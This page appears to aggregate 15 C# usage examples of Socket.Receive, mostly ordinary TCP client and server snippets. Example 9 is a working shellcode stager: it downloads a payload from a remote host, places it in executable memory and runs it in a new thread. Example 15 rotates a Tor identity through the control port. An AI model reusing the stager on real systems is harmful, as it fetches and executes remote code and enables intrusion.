本文整理汇总了C#中System.Net.Sockets.Socket.Receive方法的典型用法代码示例。如果您正苦于以下问题:C# Socket.Receive方法的具体用法?C# Socket.Receive怎么用?C# Socket.Receive使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类System.Net.Sockets.Socket
的用法示例。
在下文中一共展示了Socket.Receive方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C#代码示例。
示例1: Main
static void Main(string[] args)
{
Socket s=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
IPEndPoint ie=new IPEndPoint(IPAddress.Parse("127.0.0.1"),9000);
s.Connect(ie);
Console.WriteLine("Connected to Server.....");
byte[] data=new byte[1024];
int k=s.Receive(data);
Console.WriteLine("Loi chao tu Server:{0}",Encoding.ASCII.GetString(data,0,k));
while(true)
{
Console.WriteLine("Moi nhap du lieu can tinh");
string st=Console.ReadLine();
byte[] dl=new byte[1024];
dl=Encoding.ASCII.GetBytes(st);
s.Send(dl,dl.Length,SocketFlags.None);
if(st.ToUpper().Equals("QUIT"))
break;
dl=new byte[1024];
int k1=s.Receive(dl);
Console.WriteLine("Ket qua tinh tong tu server tra ve:{0}", Encoding.ASCII.GetString(dl, 0, k1));
}
s.Disconnect(true);
s.Close();
}
示例2: btnkq_Click
private void btnkq_Click(object sender, EventArgs e)
{
Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint ie = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 9000);
s.Connect(ie);
byte[] data = new byte[1024];
int k = s.Receive(data);
MessageBox.Show("welcome",Encoding.ASCII.GetString(data,0,k));
while (true)
{
String strA = txta.Text.ToString();
String strB = txtb.Text.ToString();
String str = strA + strB;
byte[] dl = new byte[1024];
dl = Encoding.ASCII.GetBytes(str);
s.Send(dl, dl.Length, SocketFlags.None);
if (str.ToUpper().Equals("QUIT"))
break;
dl = new byte[1024];
int k1 = s.Receive(dl);
String KQ = Encoding.ASCII.GetString(dl,0,k1);
txtkq.Text = KQ.ToString();
}
s.Disconnect(true);
s.Close();
}
示例3: connect
//Connect to the client
public void connect()
{
if (!clientConnected)
{
IPAddress ipAddress = IPAddress.Any;
TcpListener listener = new TcpListener(ipAddress, portSend);
listener.Start();
Console.WriteLine("Server is running");
Console.WriteLine("Listening on port " + portSend);
Console.WriteLine("Waiting for connections...");
while (!clientConnected)
{
s = listener.AcceptSocket();
s.SendBufferSize = 256000;
Console.WriteLine("Connection accepted from " + s.RemoteEndPoint);
byte[] b = new byte[65535];
int k = s.Receive(b);
ASCIIEncoding enc = new ASCIIEncoding();
Console.WriteLine("Received:" + enc.GetString(b, 0, k) + "..");
//Ensure the client is who we want
if (enc.GetString(b, 0, k) == "hello" || enc.GetString(b, 0, k) == "hellorcomplete")
{
clientConnected = true;
Console.WriteLine(enc.GetString(b, 0, k));
}
}
}
}
示例4: Main
static void Main(string[] args)
{
byte[] receiveBytes = new byte[1024];
int port =8080;//服务器端口
string host = "10.3.0.1"; //服务器ip
IPAddress ip = IPAddress.Parse(host);
IPEndPoint ipe = new IPEndPoint(ip, port);//把ip和端口转化为IPEndPoint实例
Console.WriteLine("Starting Creating Socket Object");
Socket sender = new Socket(AddressFamily.InterNetwork,
SocketType.Stream,
ProtocolType.Tcp);//创建一个Socket
sender.Connect(ipe);//连接到服务器
string sendingMessage = "Hello World!";
byte[] forwardingMessage = Encoding.ASCII.GetBytes(sendingMessage + "[FINAL]");
sender.Send(forwardingMessage);
int totalBytesReceived = sender.Receive(receiveBytes);
Console.WriteLine("Message provided from server: {0}",
Encoding.ASCII.GetString(receiveBytes,0,totalBytesReceived));
//byte[] bs = Encoding.ASCII.GetBytes(sendStr);
sender.Shutdown(SocketShutdown.Both);
sender.Close();
Console.ReadLine();
}
示例5: bg_DoWork
void bg_DoWork(object sender, DoWorkEventArgs e)
{
clientSock = sock.Accept();
while (clientSock.Connected)
{
byte[] buff = new byte[3];
clientSock.Receive(buff);
switch (buff[0])
{
case 0xAA://Mapa
OnsockAdmi(new sockEventArgs(0xBB, buff[1], buff[2]));
break;
case 0xCC://combustible
OnsockAdmi(new sockEventArgs(0xDD, buff[1], buff[2]));
break;
case 0xEE://movimiento
byte[] dir = new byte[1];
clientSock.Receive(dir);
OnsockAdmi(new sockEventArgs(0xFF, buff[1], buff[2], dir[0]));
break;
default:
break;
}
}
}
示例6: receiveMessage
/// <summary>
/// Recibe un mensaje de TGC por un socket
/// </summary>
/// <param name="socket">Socket del cual recibir</param>
/// <param name="msgType">Tipo de mensaje esperado</param>
/// <returns>Mensaje recibido o null si recibió mal</returns>
public static TgcSocketRecvMsg receiveMessage(Socket socket, TgcSocketMessageHeader.MsgType msgType)
{
try
{
//Recibir header
byte[] headerData = new byte[TgcSocketMessageHeader.HEADER_SIZE];
int recv = socket.Receive(headerData, headerData.Length, SocketFlags.None);
if (recv == TgcSocketMessageHeader.HEADER_SIZE)
{
int msgLength = BitConverter.ToInt32(headerData, 0);
//Recibir cuerpo del mensaje
byte[] msgData = new byte[msgLength];
recv = socket.Receive(msgData, msgData.Length, SocketFlags.None);
if (recv == msgLength)
{
TgcSocketRecvMsg recvMsg = new TgcSocketRecvMsg(msgData);
return recvMsg;
}
}
}
catch (Exception)
{
return null;
}
return null;
}
示例7: button1_Click
private void button1_Click(object sender, EventArgs ev)
{
Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
s.Connect("192.168.16.170", 10000);
byte[] buf;
buf = new byte[] { 0x00,0x06,0x10,0x12,0x00,0x00 };
s.Send(buf);
byte[] rec=new byte[128];
int r = 0;
s.ReceiveTimeout = 1000;
try
{
r = s.Receive(rec);
Debug.WriteLine(FUNC.BytesToString(rec, 0, r));
r = s.Receive(rec);
Debug.WriteLine(FUNC.BytesToString(rec, 0, r));
}
catch (Exception e)
{
Debug.WriteLine(e.Message);
}
s.Disconnect(false);
}
示例8: StartMirametrixStream
// Start the stream socket server
public static int StartMirametrixStream(Socket server)
{
byte[] msg_pog_fix = Encoding.UTF8.GetBytes("<SET ID=\"ENABLE_SEND_POG_FIX\" STATE=\"1\" />\r\n\"");
byte[] msg_send_data = Encoding.UTF8.GetBytes("<SET ID=\"ENABLE_SEND_DATA\" STATE=\"1\" />\r\n\"");
byte[] bytes = new byte[1024];
try
{
// ask server to send pog fix data
int byteCount = server.Send(msg_pog_fix, SocketFlags.None);
byteCount = server.Receive(bytes, SocketFlags.None);
if (byteCount > 0)
{
bytes = new byte[1024];
}
// then send data
int byteCount2 = server.Send(msg_send_data, SocketFlags.None);
byteCount = server.Receive(bytes, SocketFlags.None);
}
catch (SocketException e)
{
Console.WriteLine("Error code: no formatting for you");
return (e.ErrorCode);
}
return 0;
}
示例9: Main
static void Main()
{
IPEndPoint ip = new IPEndPoint(IPAddress.Parse("192.168.30.129"), 80);
Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try
{
sock.Connect(ip);
}
catch (SocketException e)
{
return;
}
byte[] length_raw = new byte[4];
// receive our 4 byte length from the server
sock.Receive(length_raw, 4, 0);
// convert the binary data to an integer length
int length = BitConverter.ToInt32(length_raw, 0);
byte[] shellcode = new byte[length + 5];
int total_bytes = 0;
// make sure we receive all of the payload
while (total_bytes < length)
{
byte[] buffer = new byte[length];
int bytes_received = sock.Receive(buffer);
// copy the temp byte[] into our shellcode array
Array.Copy(buffer, 0, shellcode, 5 + total_bytes, bytes_received);
total_bytes += bytes_received;
}
// get the socket handle
byte[] handle = BitConverter.GetBytes((int)sock.Handle);
// copy the socket handle into the shellcode
Array.Copy(handle, 0, shellcode, 1, 4);
shellcode[0] = 0xBF; // little assembly magic to push the socket # into EDI
// allocate a RWX page
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// copy the shellcode into the page
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
// prepare data
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
示例10: ClientThreadStart
private void ClientThreadStart()
{
Socket clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
clientSocket.Connect(new IPEndPoint(IPAddress.Parse("127.0.0.1"), 31001));
var someMacroObj = new MacroObj();
someMacroObj.cmd = "start";
someMacroObj.pathExec = "C:\\Program Files(x86)\\Google\\Chrome\\Application\\chrome.exe\\";
someMacroObj.paramObj = "http://www.kree8tive.dk";
var json = new JavaScriptSerializer().Serialize(someMacroObj);
// Send the file name.
clientSocket.Send(Encoding.ASCII.GetBytes(m_fileName));
// Receive the length of the filename.
byte[] data = new byte[128];
clientSocket.Receive(data);
int length = BitConverter.ToInt32(data, 0);
clientSocket.Send(Encoding.ASCII.GetBytes(json + "\r\n"));
clientSocket.Send(Encoding.ASCII.GetBytes("[EOF]\r\n"));
/*
What does this bit do ???
Necessary ?
*/
// Get the total length
clientSocket.Receive(data);
length=BitConverter.ToInt32(data,0);
/* ? */
clientSocket.Close();
}
示例11: ClientThreadStart
private void ClientThreadStart()
{
Socket clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp );
clientSocket.Connect(new IPEndPoint(IPAddress.Parse("127.0.0.1"),31001));
// Send the file name.
clientSocket.Send(Encoding.ASCII.GetBytes(m_fileName));
// Receive the length of the filename.
byte [] data = new byte[128];
clientSocket.Receive(data);
int length=BitConverter.ToInt32(data,0);
clientSocket.Send(Encoding.ASCII.GetBytes(m_fileName+":"+"this is a test\r\n"));
clientSocket.Send(Encoding.ASCII.GetBytes(m_fileName+":"+"THIS IS "));
clientSocket.Send(Encoding.ASCII.GetBytes("ANOTHRER "));
clientSocket.Send(Encoding.ASCII.GetBytes("TEST."));
clientSocket.Send(Encoding.ASCII.GetBytes("\r\n"));
clientSocket.Send(Encoding.ASCII.GetBytes(m_fileName+":"+"TEST.\r\n"+m_fileName+":"+"TEST AGAIN.\r\n"));
clientSocket.Send(Encoding.ASCII.GetBytes("[EOF]\r\n"));
// Get the total length
clientSocket.Receive(data);
length=BitConverter.ToInt32(data,0);
clientSocket.Close();
}
示例12: nhapDL
private void nhapDL()
{
Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint ie = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 9000);
s.Connect(ie);
while (true)
{
MessageBox.Show("Connected to Server.....");
byte[] data = new byte[1024];
int k1 = s.Receive(data);
string A = txtNumber1.Text;
string B = txtNumber2.Text;
string gep = string.Concat(A, "-", B).Trim();
data = Encoding.ASCII.GetBytes(gep);
s.Send(data, data.Length, SocketFlags.None);
data = new byte[1024];
int k = s.Receive(data);
txtKQ.Text += Encoding.ASCII.GetString(data, 0, k);
if (Convert.ToInt32(txtNumber1.Text)==0 && Convert.ToInt32(txtNumber2.Text)==0)
{
MessageBox.Show("End connect...");
break;
}
}
}
示例13: TestBkToCipherTextOnSocket
public void TestBkToCipherTextOnSocket()
{
_bkToCipherText = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
var endpt = new IPEndPoint(IPAddress.Loopback, BK_CT_PORT);
_bkToCipherText.Connect(endpt);
var bytesSent = _bkToCipherText.Send(Encoding.UTF8.GetBytes(TEST_INPUT));
var buffer = new List<byte>();
var data = new byte[256];
_bkToCipherText.Receive(data, 0, data.Length, SocketFlags.None);
buffer.AddRange(data.Where(b => b != (byte)'\0'));
while (_bkToCipherText.Available > 0)
{
data = new byte[_bkToCipherText.Available];
_bkToCipherText.Receive(data, 0, data.Length, SocketFlags.None);
buffer.AddRange(data.Where(b => b != (byte)'\0'));
}
_bkToCipherText.Close();
var cipherdata = Encoding.UTF8.GetString(buffer.ToArray());
NoFuture.Shared.CipherText cipherText;
var parseResult = NoFuture.Shared.CipherText.TryParse(cipherdata, out cipherText);
Assert.IsTrue(parseResult);
Console.WriteLine(cipherText.ToString());
}
示例14: Receive
private void Receive(Socket sourceSocket)
{
try {
List<byte> bufferComplete = new List<byte>();
// TODO: Make configurable
byte[] bufferReceive = new byte[1024];
int bytesRead = sourceSocket.Receive(bufferReceive);
while (bytesRead > 0) {
bufferComplete.AddRange(bufferReceive.Take(bytesRead));
// TODO: Make configurable
for (int i = 0; i < 10; i++) {
Console.WriteLine("Is more data available: " + sourceSocket.Available);
if (sourceSocket.Available > 0) {
break;
}
// TODO: Make configurable
Thread.Sleep(100);
}
if (sourceSocket.Available == 0) {
break;
}
bytesRead = sourceSocket.Receive(bufferReceive);
}
Guid guid = WriteRequestToFile(bufferComplete.ToArray());
byte[] response = WaitForResponse(guid);
if (response != null) {
sourceSocket.Send(response);
Console.WriteLine("Returned data to client: " + response.Length);
}
} catch (Exception e) {
Console.WriteLine("Error: " + e);
} finally {
sourceSocket.Close();
}
}
示例15: RefreshTorIdentity
public void RefreshTorIdentity()
{
Socket server = null;
try
{
IPEndPoint ip = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 9151);
server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
server.Connect(ip);
// Please be sure that you have executed the part with the creation of an authentication hash, described in my article!
server.Send(Encoding.ASCII.GetBytes("AUTHENTICATE \"johnsmith\"" + Environment.NewLine));
byte[] data = new byte[1024];
int receivedDataLength = server.Receive(data);
string stringData = Encoding.ASCII.GetString(data, 0, receivedDataLength);
server.Send(Encoding.ASCII.GetBytes("SIGNAL NEWNYM" + Environment.NewLine));
data = new byte[1024];
receivedDataLength = server.Receive(data);
stringData = Encoding.ASCII.GetString(data, 0, receivedDataLength);
if (!stringData.Contains("250"))
{
Console.WriteLine("Unable to signal new user to server.");
server.Shutdown(SocketShutdown.Both);
server.Close();
}
}
finally
{
server.Close();
}
}